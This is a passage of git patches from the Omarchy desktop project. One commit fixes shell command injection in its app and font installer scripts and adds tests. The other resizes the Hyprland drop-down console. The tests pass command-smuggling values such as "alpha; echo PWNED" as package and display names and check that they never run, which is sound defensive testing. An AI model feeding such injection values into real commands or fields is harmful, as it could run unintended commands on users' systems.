+top, right, bottom, left = gaps() +assert(left == 690 and right == 690 and bottom == 540, "a ratio below 1 clamps to a square") + +omarchy_qconsole_ratio = nil +monitor = dell +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 0 and right == 0 and bottom == 1265, "clearing the ratio restores full width") LUA -pass "the console covers half the work area at any monitor scale" +pass "the console is a half-height 2:1 panel by default" From 625c4a1603ff41e523e8e3d85022e6a60ebab944 Mon Sep 17 00:00:00 2001 From: Adolanium <94890352+Adolanium@users.noreply.github.com> Date: Sun, 30 Aug 2026 15:22:58 +0300 Subject: [PATCH 157/336] Quote install-app and install-font names like install-and-launch (#7843) * Quote install-app and install-font names like install-and-launch * Quote the package list too, not just the display name The display name was quoted but omarchy-pkg-add's own arguments were still interpolated into the bash -c string raw, so `omarchy install app Vim 'vim; id'` ran id. The list has to reach the helper as several words, so it cannot be quoted whole: it is split the way the unquoted expansion split it and each word is quoted on its own. Reading with -d '' keeps a newline-separated list intact instead of dropping every package after the first, which plain read -a would. install-font's package is singular and is quoted whole, and install-and-launch carried the same flaw. Reported by acrogenesis in review of #7843. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Test that install-font skips font-set when pkg-add fails The hostile-package case was asserting the family still got set, which only held because the mock always exits 0. pacman would reject that name and the && chain would skip font-set. * Keep the installers working when errexit is inherited read -d '' always ends at EOF rather than on its delimiter, so it reports failure on every input. Under an inherited errexit the installers exited there and built no command at all. Reported by Codex XHigh in review of #7843. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --------- Co-authored-by: David Heinemeier Hansson Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-install-and-launch | 8 +- bin/omarchy-install-app | 11 +- bin/omarchy-install-font | 6 +- test/shell.d/desktop-entry-launch-test.sh | 138 ++++++++++++++++++++++ 4 files changed, 160 insertions(+), 3 deletions(-) diff --git a/bin/omarchy-install-and-launch b/bin/omarchy-install-and-launch index 53bbfbc9..2a7e547c 100755 --- a/bin/omarchy-install-and-launch +++ b/bin/omarchy-install-and-launch @@ -16,6 +16,12 @@ fi printf -v install_message '%q' "Installing ${name}..." printf -v desktop_id_arg '%q' "$desktop_id" +# The list has to reach omarchy-pkg-add as several words, so each word is quoted +# rather than the whole string; -d '' reads past newlines and always ends at EOF. +read -r -d '' -a package_list <<<"$packages" || true +printf -v packages_arg '%q ' "${package_list[@]}" +packages_arg="${packages_arg% }" + # The subshell keeps & from backgrounding the package installation too. exec omarchy-launch-floating-terminal-with-presentation \ - "echo ${install_message}; omarchy-pkg-add ${packages} && (setsid uwsm-app -- gtk-launch ${desktop_id_arg} >/dev/null 2>&1 &)" + "echo ${install_message}; omarchy-pkg-add ${packages_arg} && (setsid uwsm-app -- gtk-launch ${desktop_id_arg} >/dev/null 2>&1 &)" diff --git a/bin/omarchy-install-app b/bin/omarchy-install-app index bae90897..bee13e61 100755 --- a/bin/omarchy-install-app +++ b/bin/omarchy-install-app @@ -12,4 +12,13 @@ if [[ -z $name || -z $packages ]]; then exit 1 fi -exec omarchy-launch-floating-terminal-with-presentation "echo 'Installing ${name}...'; omarchy-pkg-add ${packages}" +printf -v install_message '%q' "Installing ${name}..." + +# The list has to reach omarchy-pkg-add as several words, so each word is quoted +# rather than the whole string; -d '' reads past newlines and always ends at EOF. +read -r -d '' -a package_list <<<"$packages" || true +printf -v packages_arg '%q ' "${package_list[@]}" +packages_arg="${packages_arg% }" + +exec omarchy-launch-floating-terminal-with-presentation \ + "echo ${install_message}; omarchy-pkg-add ${packages_arg}" diff --git a/bin/omarchy-install-font b/bin/omarchy-install-font index 6f68892e..8811ba48 100755 --- a/bin/omarchy-install-font +++ b/bin/omarchy-install-font @@ -13,5 +13,9 @@ if [[ -z $name || -z $package || -z $family ]]; then exit 1 fi +printf -v install_message '%q' "Installing ${name}..." +printf -v package_arg '%q' "$package" +printf -v family_arg '%q' "$family" + exec omarchy-launch-floating-terminal-with-presentation \ - "echo 'Installing ${name}...'; omarchy-pkg-add ${package} && sleep 2 && omarchy-font-set '${family}'" + "echo ${install_message}; omarchy-pkg-add ${package_arg} && sleep 2 && omarchy-font-set ${family_arg}" diff --git a/test/shell.d/desktop-entry-launch-test.sh b/test/shell.d/desktop-entry-launch-test.sh index 7e6f374f..c6014b10 100644 --- a/test/shell.d/desktop-entry-launch-test.sh +++ b/test/shell.d/desktop-entry-launch-test.sh @@ -17,6 +17,11 @@ printf 'pkg:%s\n' "$*" >>"$OMARCHY_TEST_LOG" exit "${OMARCHY_TEST_PKG_STATUS:-0}" SH +cat >"$mock_bin/omarchy-font-set" <<'SH' +#!/bin/bash +printf 'font:%s\n' "$*" >>"$OMARCHY_TEST_LOG" +SH + for command in omarchy-pkg-aur-add omarchy-install-emacs omazed omarchy-theme-set-vscode omarchy-install-gaming-gpu-lib32; do cat >"$mock_bin/$command" <<'SH' #!/bin/bash @@ -97,3 +102,136 @@ if grep -q '^launch:' "$OMARCHY_TEST_LOG"; then fail "generic installer does not launch after package installation failure" fi pass "generic installer does not launch after package installation failure" + +run_presentation() { + bash -c "sleep() { :; }; $(<"$OMARCHY_TEST_PRESENTATION")" +} + +bash "$ROOT/bin/omarchy-install-app" "LM Studio" "lmstudio-bin" +presentation_command=$(<"$OMARCHY_TEST_PRESENTATION") +[[ $presentation_command == *'echo Installing\ LM\ Studio...;'* ]] || + fail "install-app shell-quotes the display name" "$presentation_command" +[[ $presentation_command == *'omarchy-pkg-add lmstudio-bin'* ]] || + fail "install-app still passes the package list through" "$presentation_command" +pass "install-app shell-quotes the display name" + +bash "$ROOT/bin/omarchy-install-app" "Example App" "alpha beta" +presentation_command=$(<"$OMARCHY_TEST_PRESENTATION") +[[ $presentation_command == 'echo Installing\ Example\ App...; omarchy-pkg-add alpha beta' ]] || + fail "install-app builds the presentation command with no stray argument" "$presentation_command" +: >"$OMARCHY_TEST_LOG" +run_presentation +grep -Fxq 'pkg:alpha beta' "$OMARCHY_TEST_LOG" || + fail "install-app passes every package to the package helper" +pass "install-app passes every package to the package helper" + +bash "$ROOT/bin/omarchy-install-app" "Foo's App" "alpha" +presentation_command=$(<"$OMARCHY_TEST_PRESENTATION") +quoted_app_message="echo $(printf '%q' "Installing Foo's App...");" +[[ $presentation_command == "$quoted_app_message"* ]] || + fail "install-app shell-quotes an apostrophe in the display name" "$presentation_command" +: >"$OMARCHY_TEST_LOG" +run_presentation >"$test_tmp/app-apostrophe.out" +grep -Fxq 'pkg:alpha' "$OMARCHY_TEST_LOG" || + fail "install-app still installs when the display name has an apostrophe" +pass "install-app still installs when the display name has an apostrophe" + +bash "$ROOT/bin/omarchy-install-app" "a'; echo PWNED; echo '" "alpha" +: >"$OMARCHY_TEST_LOG" +run_presentation >"$test_tmp/app-inject.out" +if grep -Fxq 'PWNED' "$test_tmp/app-inject.out"; then + fail "install-app does not run extra commands from a quote in the display name" "$(<"$test_tmp/app-inject.out")" +fi +grep -Fxq 'pkg:alpha' "$OMARCHY_TEST_LOG" || + fail "install-app still installs after quoting a hostile display name" +pass "install-app does not run extra commands from a quote in the display name" + +bash "$ROOT/bin/omarchy-install-font" "Cascadia Mono" "ttf-cascadia-mono-nerd" "CaskaydiaMono Nerd Font" +presentation_command=$(<"$OMARCHY_TEST_PRESENTATION") +[[ $presentation_command == *'echo Installing\ Cascadia\ Mono...;'* ]] || + fail "install-font shell-quotes the display name" "$presentation_command" +[[ $presentation_command == *'omarchy-font-set CaskaydiaMono\ Nerd\ Font'* ]] || + fail "install-font shell-quotes a font family with spaces" "$presentation_command" +: >"$OMARCHY_TEST_LOG" +run_presentation +grep -Fxq 'pkg:ttf-cascadia-mono-nerd' "$OMARCHY_TEST_LOG" || + fail "install-font installs the font package" +grep -Fxq 'font:CaskaydiaMono Nerd Font' "$OMARCHY_TEST_LOG" || + fail "install-font passes the family name through as one argument" +pass "install-font shell-quotes the display name and family" + +bash "$ROOT/bin/omarchy-install-font" "Foo's App" "alpha" "Foo's Font" +: >"$OMARCHY_TEST_LOG" +run_presentation >"$test_tmp/font-apostrophe.out" +grep -Fxq 'pkg:alpha' "$OMARCHY_TEST_LOG" || + fail "install-font still installs when the display name has an apostrophe" +grep -Fxq "font:Foo's Font" "$OMARCHY_TEST_LOG" || + fail "install-font still sets the family when it has an apostrophe" +pass "install-font still installs when the name or family has an apostrophe" + +bash "$ROOT/bin/omarchy-install-font" "a'; echo PWNED; echo '" "alpha" "a'; echo PWNED; echo '" +: >"$OMARCHY_TEST_LOG" +run_presentation >"$test_tmp/font-inject.out" +if grep -Fxq 'PWNED' "$test_tmp/font-inject.out"; then + fail "install-font does not run extra commands from a quote in the name or family" "$(<"$test_tmp/font-inject.out")" +fi +grep -Fxq 'pkg:alpha' "$OMARCHY_TEST_LOG" || + fail "install-font still installs after quoting a hostile display name" +pass "install-font does not run extra commands from a quote in the name or family" + +bash "$ROOT/bin/omarchy-install-app" "Example App" "alpha; echo PWNED" +: >"$OMARCHY_TEST_LOG" +run_presentation >"$test_tmp/app-pkg-inject.out" +if grep -Fxq 'PWNED' "$test_tmp/app-pkg-inject.out"; then + fail "install-app does not run extra commands from a package list" "$(<"$test_tmp/app-pkg-inject.out")" +fi +grep -Fxq 'pkg:alpha; echo PWNED' "$OMARCHY_TEST_LOG" || + fail "install-app hands a hostile package list to the package helper as arguments" "$(<"$OMARCHY_TEST_LOG")" +pass "install-app does not run extra commands from a package list" + +bash "$ROOT/bin/omarchy-install-app" "Example App" "$(printf 'alpha\nbeta')" +: >"$OMARCHY_TEST_LOG" +run_presentation +grep -Fxq 'pkg:alpha beta' "$OMARCHY_TEST_LOG" || + fail "install-app keeps every package when the list is newline-separated" "$(<"$OMARCHY_TEST_LOG")" +pass "install-app keeps every package when the list is newline-separated" + +env SHELLOPTS=errexit bash "$ROOT/bin/omarchy-install-app" "Example App" "alpha beta" || + fail "install-app builds its command under an inherited errexit" +[[ $(<"$OMARCHY_TEST_PRESENTATION") == 'echo Installing\ Example\ App...; omarchy-pkg-add alpha beta' ]] || + fail "install-app builds the same command under an inherited errexit" "$(<"$OMARCHY_TEST_PRESENTATION")" +env SHELLOPTS=errexit bash "$ROOT/bin/omarchy-install-and-launch" "Example App" "alpha beta" "Disk Usage" || + fail "install-and-launch builds its command under an inherited errexit" +grep -Fq 'omarchy-pkg-add alpha beta' "$OMARCHY_TEST_PRESENTATION" || + fail "install-and-launch keeps its package list under an inherited errexit" "$(<"$OMARCHY_TEST_PRESENTATION")" +pass "the installers build their command under an inherited errexit" + +bash "$ROOT/bin/omarchy-install-font" "Example Font" "alpha; echo PWNED" "Example Family" +: >"$OMARCHY_TEST_LOG" +run_presentation >"$test_tmp/font-pkg-inject.out" +if grep -Fxq 'PWNED' "$test_tmp/font-pkg-inject.out"; then + fail "install-font does not run extra commands from its package" "$(<"$test_tmp/font-pkg-inject.out")" +fi +grep -Fxq 'pkg:alpha; echo PWNED' "$OMARCHY_TEST_LOG" || + fail "install-font hands a hostile package to the package helper as one argument" "$(<"$OMARCHY_TEST_LOG")" +pass "install-font does not run extra commands from its package" + +bash "$ROOT/bin/omarchy-install-font" "Example Font" "alpha" "Example Family" +: >"$OMARCHY_TEST_LOG" +if OMARCHY_TEST_PKG_STATUS=1 run_presentation; then + fail "install-font propagates package installation failure" +fi +if grep -q '^font:' "$OMARCHY_TEST_LOG"; then + fail "install-font does not set the family after package installation failure" "$(<"$OMARCHY_TEST_LOG")" +fi +pass "install-font does not set the family after package installation failure" + +bash "$ROOT/bin/omarchy-install-and-launch" "Example App" "alpha; echo PWNED" "Disk Usage" +: >"$OMARCHY_TEST_LOG" +run_presentation >"$test_tmp/launch-pkg-inject.out" +if grep -Fxq 'PWNED' "$test_tmp/launch-pkg-inject.out"; then + fail "install-and-launch does not run extra commands from a package list" "$(<"$test_tmp/launch-pkg-inject.out")" +fi +grep -Fxq 'pkg:alpha; echo PWNED' "$OMARCHY_TEST_LOG" || + fail "install-and-launch hands a hostile package list to the package helper as arguments" "$(<"$OMARCHY_TEST_LOG")" +pass "install-and-launch does not run extra commands from a package list" From a59afb9659ca0d2a33316d510fac70755d9752f1 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sun, 30 Aug 2026 14:50:40 +0200 Subject: [PATCH 158/336] Give the width back when a second app joins the console The scratchpad spanned the whole screen whatever was on it, which reads as a band rather than a console when it holds the single agent it is usually opened for. It now sizes to a centered panel twice as wide as it is tall, and hands the full width back as soon as a second app is on the scratchpad: two windows splitting a half-width column is worse than the band this replaced. The panel is still drawn with workspace gaps rather than a window rule, because Hyprland resolves a rule's size once as the window maps and the console has to survive a rescale. It is always flush with the top and always centered, so two numbers describe it, and the memo that suppresses no-op rewrites compares those rather than four edges. The window count is read on window.open and window.destroy, the two events that run after the workspace's count has settled; window.close and window.move_to_workspace both still count the window on its way out, so refitting from either reads one too many and strands the console at full width. The count is only chased while the console is on screen, since a hidden one is refitted on its way in by workspace.special_active, and every window opened anywhere on the desktop would otherwise rewrite the rule. Monitor width and height are the panel's own pixels, so an output turned on its side still reports them the way the panel is built rather than the way it hangs. The odd transforms are the quarter turns and those swap the work area: without that a rotated 1920x1080 sized its console from 1920x1080 instead of 1080x1920 and left a 214x1367 sliver. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --- config/hypr/hyprland.lua | 5 - default/hypr/qconsole.lua | 211 +++++++++++-------------- manual/04-navigation.md | 2 +- test/shell.d/hyprland-qconsole-test.sh | 186 +++++++++++++++------- 4 files changed, 220 insertions(+), 184 deletions(-) diff --git a/config/hypr/hyprland.lua b/config/hypr/hyprland.lua index 354e079c..45c9b664 100644 --- a/config/hypr/hyprland.lua +++ b/config/hypr/hyprland.lua @@ -10,11 +10,6 @@ dofile((os.getenv("OMARCHY_PATH") or "/usr/share/omarchy") .. "/default/hypr/boo -- keeping core window-manager bindings: -- omarchy_preinstalled_bindings = false --- Center the quake console in a tiling box. The number is how many times --- wider the box is than its height. 1 is a square. Comment this out for a --- full-width drop-down. -omarchy_qconsole_ratio = 2 - -- Load Omarchy defaults. require("default.hypr.omarchy") diff --git a/default/hypr/qconsole.lua b/default/hypr/qconsole.lua index 235b4675..cb248f4c 100644 --- a/default/hypr/qconsole.lua +++ b/default/hypr/qconsole.lua @@ -4,7 +4,12 @@ -- How much of the usable screen the console covers, measured from the top. local share = 0.5 -local min_size = 64 + +-- A console holding a single window is boxed into a centered panel this many +-- times wider than it is tall, rather than stretched the width of the screen. +-- A second app on the scratchpad gets the full width back: two windows splitting +-- a half-width column is worse than the band this replaced. +local box = 2 local SCRATCHPAD = "special:scratchpad" @@ -26,35 +31,25 @@ hl.config({ }, }) +-- The panel is always flush with the top and always centered, so two numbers +-- describe it: the gap down each side and the gap underneath. +-- -- Refitting replaces the rule in place rather than stacking a new one, but it -- still schedules a monitor and window state refresh, and monitor.focused fires -- on every hop between screens. Most of those hops do not change the gaps, so -- only write the rule when it actually moves. -local covering = nil +local beside, below = nil, nil -local function same_gaps(a, b) - return a - and b - and a.top == b.top - and a.right == b.right - and a.bottom == b.bottom - and a.left == b.left -end - -local function cover(gaps_out) - if type(gaps_out) == "number" then - gaps_out = { top = 0, right = 0, bottom = gaps_out, left = 0 } - end - - if same_gaps(covering, gaps_out) then +local function cover(side, bottom) + if beside == side and below == bottom then return false end - covering = gaps_out + beside, below = side, bottom hl.workspace_rule({ workspace = SCRATCHPAD, gaps_in = 0, - gaps_out = gaps_out, + gaps_out = { top = 0, right = side, bottom = bottom, left = side }, -- Nothing to highlight in a console that is only ever focused when it is -- open, and the active border reads as a stray frame around a panel that @@ -67,145 +62,121 @@ local function cover(gaps_out) return true end -local function reserved_edges(monitor) - local reserved = monitor.reserved - if type(reserved) ~= "table" then - return { top = 0, right = 0, bottom = 0, left = 0 } - end - - return { - top = reserved.top or 0, - right = reserved.right or 0, - bottom = reserved.bottom or 0, - left = reserved.left or 0, - } -end - --- A positive omarchy_qconsole_ratio (set in hyprland.lua before defaults load) --- centers the console in a tiling box that many times wider than it is tall. --- Values below 1 clamp to a square. Unset keeps the full-width drop-down. -local function box_ratio() - local ratio = _G.omarchy_qconsole_ratio - if type(ratio) == "number" and ratio > 0 then - return math.max(1, ratio) - end - return nil -end - -local function is_scratchpad(ws) - return ws and (ws.name == SCRATCHPAD or ws.name == "scratchpad") +-- One window reads as a console and gets the panel. A second app has turned the +-- scratchpad into a workspace, and a workspace wants the whole width. +local function alone() + local ws = hl.get_workspace(SCRATCHPAD) + return not ws or ws.windows <= 1 end -- Sizing the console with a window rule would freeze it at whatever the screen -- measured when it first opened, because Hyprland resolves those expressions -- once, as the window maps. Rescaling the monitor afterwards would leave a -- console that is no longer half of anything. Gaps are re-applied by the layout --- instead, so the console is sized by the leftover area and that area is --- recomputed whenever the monitor it is opening on changes. +-- instead, so the console is sized by the area left around it, and that area is +-- recomputed whenever the monitor it opens on changes. local function fit(monitor) - monitor = monitor or hl.get_active_monitor() - -- A monitor handle whose output has gone away answers nil to every field, and -- layout changes are exactly when that happens, so this also covers reading - -- height and reserved below. + -- width, height and reserved below. if not monitor or not monitor.scale or monitor.scale <= 0 then return false end + -- Width and height are the panel's own pixels, so a monitor turned on its + -- side still reports them the way the panel is built. The odd transforms are + -- the quarter turns, and those are the ones that swap the work area. + local width, height = monitor.width, monitor.height + if monitor.transform % 2 == 1 then + width, height = height, width + end + -- Monitor dimensions are in physical pixels; gaps are logical, so the scale -- has to come out before the reserved area (already logical) comes off. - local reserved = reserved_edges(monitor) - local usable_h = monitor.height / monitor.scale - reserved.top - reserved.bottom - local usable_w = nil - if monitor.width then - usable_w = monitor.width / monitor.scale - reserved.left - reserved.right + local reserved = monitor.reserved + height = height / monitor.scale - reserved.top - reserved.bottom + width = width / monitor.scale - reserved.left - reserved.right + + local tall = math.floor(height * share) + local wide = width + if alone() then + wide = math.min(width, tall * box) end - local ratio = box_ratio() - local h = math.max(min_size, math.floor(usable_h * share)) - local side = 0 - local bottom = math.max(0, math.floor(usable_h - h)) - - if ratio and usable_w then - local w = math.floor(h * ratio) - if w > usable_w then - w = math.floor(usable_w) - end - side = math.max(0, math.floor((usable_w - w) / 2)) - if usable_w - (side * 2) < min_size then - side = math.max(0, math.floor((usable_w - min_size) / 2)) - end - end - - if usable_h - bottom < min_size then - bottom = math.max(0, math.floor(usable_h - min_size)) - end - - return cover({ top = 0, right = side, bottom = bottom, left = side }) + return cover(math.floor((width - wide) / 2), math.floor(height - tall)) end -local function apply_now() - if hl.exec_scheduled_prop_refresh_immediately then +-- The console keeps the geometry of the output it is open on: a follow_mouse hop +-- onto another screen must not resize a console that is already showing. While +-- it is hidden there is nothing to size but the output that will show it next. +local function console_monitor() + local ws = hl.get_workspace(SCRATCHPAD) + local mon = ws and ws.visible and ws.monitor + + if mon and mon.scale and mon.scale > 0 then + return mon + end + + return hl.get_active_monitor() +end + +local function refit(monitor) + if fit(monitor or console_monitor()) then + -- Land the new gaps in this pass rather than a frame later, so the console + -- does not visibly resize itself once it has already dropped down. hl.exec_scheduled_prop_refresh_immediately() end end -local function scratchpad_on_other_monitor(mon) - if not hl.get_workspace or not mon then - return false - end - - local ws = hl.get_workspace(SCRATCHPAD) - if not is_scratchpad(ws) or not ws.visible or not ws.monitor or not ws.monitor.name or not mon.name then - return false - end - - return ws.monitor.name ~= mon.name -end - -- Until a monitor can be read, cover the whole work area rather than leaving --- the console unruled, so it is never seeded without its placement. -cover({ top = 0, right = 0, bottom = 0, left = 0 }) -fit() +-- the console unruled, so it is never seeded without its placement. A reload +-- runs this again with the console already on screen, so it starts from the +-- output the console is on rather than whichever one the pointer is over. +cover(0, 0) +fit(console_monitor()) hl.on("monitor.layout_changed", function() - local ws = hl.get_workspace and hl.get_workspace(SCRATCHPAD) - if is_scratchpad(ws) and ws.visible and ws.monitor then - fit(ws.monitor) - else - fit() - end + refit() end) --- follow_mouse hops fire this; do not rewrite an open console to a different --- output's gaps (that is what zeroed the window on the 1080p screen). -hl.on("monitor.focused", function(mon) - if scratchpad_on_other_monitor(mon) then - return - end - fit(mon) +hl.on("monitor.focused", function() + refit() end) --- Special workspaces toggle on the monitor they open on, not whichever output --- last happened to be focused when the rule was written. +-- Special workspaces open on the monitor they are toggled on, not on whichever +-- output last happened to be focused when the rule was written, so these two +-- take the monitor they are handed rather than looking one up. hl.on("workspace.special_active", function(ws, mon) - if not is_scratchpad(ws) then - return - end - if fit(mon) then - apply_now() + if ws and ws.name == SCRATCHPAD then + refit(mon) end end) hl.on("workspace.move_to_monitor", function(ws, mon) - if not is_scratchpad(ws) then - return - end - if fit(mon) then - apply_now() + if ws and ws.name == SCRATCHPAD then + refit(mon) end end) +-- The panel is only centered while the console holds one window, so the count +-- has to be rechecked as apps come and go. These are the two events that run +-- after the workspace's count has already moved: window.close and +-- window.move_to_workspace still count the window on its way out, and refitting +-- from those would read one too many and leave the console full width. +-- +-- Only while it is on screen, though. A hidden console is refitted on its way in +-- by workspace.special_active, and every window opened anywhere on the desktop +-- would otherwise rewrite the rule. +local function recount() + local ws = hl.get_workspace(SCRATCHPAD) + if ws and ws.visible then + refit() + end +end + +hl.on("window.open", recount) +hl.on("window.destroy", recount) + -- The direction names the edge the offset is measured from, not where the -- workspace goes: "slide top" drops it down into view, and "slide bottom" -- retracts it back up the way a Quake console does. diff --git a/manual/04-navigation.md b/manual/04-navigation.md index 1b62b0df..0b3404ff 100644 --- a/manual/04-navigation.md +++ b/manual/04-navigation.md @@ -66,7 +66,7 @@ Finally, there's a special scratchpad workspace that drops down over whatever wo It works especially well for a terminal running an agent, or for controls you want to interact with quickly without leaving the current workspace. To move a window off the scratchpad, send it directly to another workspace with something like `Super + Shift + 1`. -By default the scratchpad drops down as a centered panel. Open `~/.config/hypr/hyprland.lua` if you want to change how wide that panel is (`omarchy_qconsole_ratio` is near the top). `1` makes a square; `2` makes a panel twice as wide as it is tall; `3` or `4` is wider still. Anything smaller than `1` still gives you a square. Comment the line out if you'd rather have it span the full width of the screen. +While the scratchpad holds a single window, it drops down as a centered panel rather than spanning the screen. Put a second app on it and it goes back to the full width, so the two have room to sit side by side. ### It takes some getting used to! diff --git a/test/shell.d/hyprland-qconsole-test.sh b/test/shell.d/hyprland-qconsole-test.sh index 9360e3c8..c5123d03 100755 --- a/test/shell.d/hyprland-qconsole-test.sh +++ b/test/shell.d/hyprland-qconsole-test.sh @@ -4,13 +4,13 @@ source "$(dirname "${BASH_SOURCE[0]}")/base-test.sh" require_command lua -# The console is sized by the gap underneath it, recomputed from the monitor, +# The console is sized by the gaps around it, recomputed from the monitor, # because a window rule's size would freeze at whatever the screen measured when -# the console first opened. The arithmetic is what keeps it half a screen on a -# scaled display, so it is worth pinning down. +# the console first opened. The arithmetic is what keeps it a half-height panel +# on a scaled display, so it is worth pinning down. # base-test.sh does not set -e, so the assertions have to fail the file # themselves rather than leaving the pass below to run regardless. -OMARCHY_PATH="$ROOT" lua - <<'LUA' || fail "the console is a half-height 2:1 panel by default" +OMARCHY_PATH="$ROOT" lua - <<'LUA' || fail "the console is a centered panel until a second app joins it" local rules, handlers = {}, {} local monitor = nil local workspace = nil @@ -25,10 +25,6 @@ hl = { exec_scheduled_prop_refresh_immediately = function() end, } --- Same default as config/hypr/hyprland.lua: a centered panel twice as wide as --- it is tall. Commenting that assignment out is what restores full width. -omarchy_qconsole_ratio = 2 - dofile(os.getenv("OMARCHY_PATH") .. "/default/hypr/bootstrap.lua") require("default.hypr.qconsole") @@ -50,13 +46,12 @@ assert(current().on_created_empty:find("^%[workspace special:scratchpad silent%] assert(current().workspace == "special:scratchpad") local function rescale(height, scale, bar) - monitor = { height = height, scale = scale, reserved = { top = bar, bottom = 0, left = 0, right = 0 } } + monitor = { width = 1920, height = height, scale = scale, transform = 0, reserved = { top = bar, bottom = 0, left = 0, right = 0 } } handlers["monitor.layout_changed"]() return current().gaps_out.bottom end -- Same panel, same logical size, different scale: the console must not care. --- These fixtures omit width, so the ratio cannot inset the sides yet. assert(rescale(1080, 1, 40) == 520, "half of a 1080p work area, unscaled") assert(rescale(2160, 2, 40) == 520, "the same half once the monitor is scaled 2x") assert(rescale(2160, 1.5, 40) == 700, "and at a fractional scale") @@ -66,9 +61,8 @@ assert(rescale(2160, 1.5, 40) == 700, "and at a fractional scale") assert(rescale(1440, 1, 0) == 720, "a monitor with nothing reserved") local final = current() -assert(final.gaps_out.top == 0, "the console stays flush with the top") -assert(final.gaps_out.left == 0 and final.gaps_out.right == 0, - "without a width the sides stay flush") +assert(final.gaps_out.top == 0, "the console stays flush with the top, the way a drop-down arrives") +assert(final.gaps_out.left == final.gaps_out.right, "the panel is centered") assert(final.on_created_empty:find("omarchy%-agent"), "refitting keeps the console seeded") assert(final.no_border == true, "the console drops the active window border") @@ -81,86 +75,162 @@ assert(current().gaps_out.bottom == before, "an absent monitor leaves the consol -- A monitor handle outliving its output answers nil to everything, which is -- what a layout change looks like mid-flight. Reading height or reserved off -- that would throw, so the scale guard has to catch it first. -monitor = setmetatable({}, { __index = function() return nil end }) +local expired = setmetatable({}, { __index = function() return nil end }) +monitor = expired handlers["monitor.layout_changed"]() assert(current().gaps_out.bottom == before, "an expired monitor handle is not read to pieces") -- Refitting to the size it already is would still cost a state refresh, and -- monitor.focused fires on every hop between screens. -monitor = { height = 1440, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +monitor = { width = 2560, height = 1440, scale = 1, transform = 0, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } handlers["monitor.layout_changed"]() local written = #rules handlers["monitor.focused"]() handlers["monitor.layout_changed"]() assert(#rules == written, "refitting to the same size does not rewrite the rule") -monitor.scale = 2 -handlers["monitor.layout_changed"]() -assert(#rules == written + 1, "a real change still rewrites it") -assert(current().gaps_out.bottom == 360, "and lands on half the rescaled screen") - --- Default ratio: 16:9 is a centered 2:1 panel, not a full-width drop-down. -monitor = { width = 1920, height = 1080, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +-- A centered 2:1 panel, not a full-width drop-down. +monitor = { width = 1920, height = 1080, scale = 1, transform = 0, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } handlers["monitor.layout_changed"]() local top, right, bottom, left = gaps() -assert(top == 0 and left == 420 and right == 420 and bottom == 540, "16:9 default is a 1080x540 panel") +assert(top == 0 and left == 420 and right == 420 and bottom == 540, "16:9 leaves a 1080x540 panel") -local dell = { name = "DP-1", width = 6144, height = 2560, scale = 1, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +local dell = { name = "DP-1", width = 6144, height = 2560, scale = 1, transform = 0, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } monitor = dell handlers["monitor.layout_changed"]() top, right, bottom, left = gaps() assert(left == 1807 and right == 1807 and bottom == 1265, "the same 2:1 panel on 6K") --- Same logical box at scale 2x (physical 12288x5120). --- It checks that scale does not change the panel's logical size. -monitor = { name = "DP-1", width = 12288, height = 5120, scale = 2, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +-- Same logical box at scale 2x (physical 12288x5120): scale does not change the +-- panel's logical size. +monitor = { name = "DP-1", width = 12288, height = 5120, scale = 2, transform = 0, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } handlers["monitor.layout_changed"]() top, right, bottom, left = gaps() assert(left == 1807 and right == 1807 and bottom == 1265, "the 6K box is in logical pixels") --- Acer 1920x1080, bar 30, same ratio. Opening here after a 6K fit must rewrite; --- leaving 6K side gaps would make leftover width negative. -local acer = { name = "HDMI-A-1", width = 1920, height = 1080, scale = 1, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +-- Same height, different width: the sides have to move even though the bottom +-- gap is identical, so the cache cannot key on height alone. +monitor = { width = 2560, height = 1440, scale = 1, transform = 0, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +written = #rules +monitor = { width = 3440, height = 1440, scale = 1, transform = 0, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +assert(#rules == written + 1, "a same-height ultrawide hop still rewrites the sides") +top, right, bottom, left = gaps() +assert(left == 1000 and right == 1000 and bottom == 720, "3440x1440 leaves a 1440x720 box") + +-- A panel wider than the screen is just the screen: a portrait monitor has no +-- room for a 2:1 box and falls back to the full width rather than a negative gap. +monitor = { width = 1080, height = 1920, scale = 1, transform = 0, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 0 and right == 0 and bottom == 960, "a portrait monitor keeps the full width") +assert(left >= 0 and right >= 0 and bottom >= 0, "gaps are never negative") + +-- A monitor turned on its side still reports the panel's own pixels, so the +-- work area has to be turned with it. Measured against Hyprland 0.56.2: a +-- rotated 1920x1080 lays its windows out in 1080x1920 while width and height +-- still read 1920 and 1080. Quarter turns are the odd transforms; a half turn +-- leaves the shape alone. +monitor = { width = 1920, height = 1080, scale = 1, transform = 1, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 0 and right == 0 and bottom == 945, "a quarter-turned monitor is sized portrait") + +monitor = { width = 1920, height = 1080, scale = 1, transform = 3, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 0 and right == 0 and bottom == 945, "and so is the other quarter turn") + +monitor = { width = 1920, height = 1080, scale = 1, transform = 2, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 435 and right == 435 and bottom == 525, "a half turn is still landscape") + +-- Special workspaces open on the 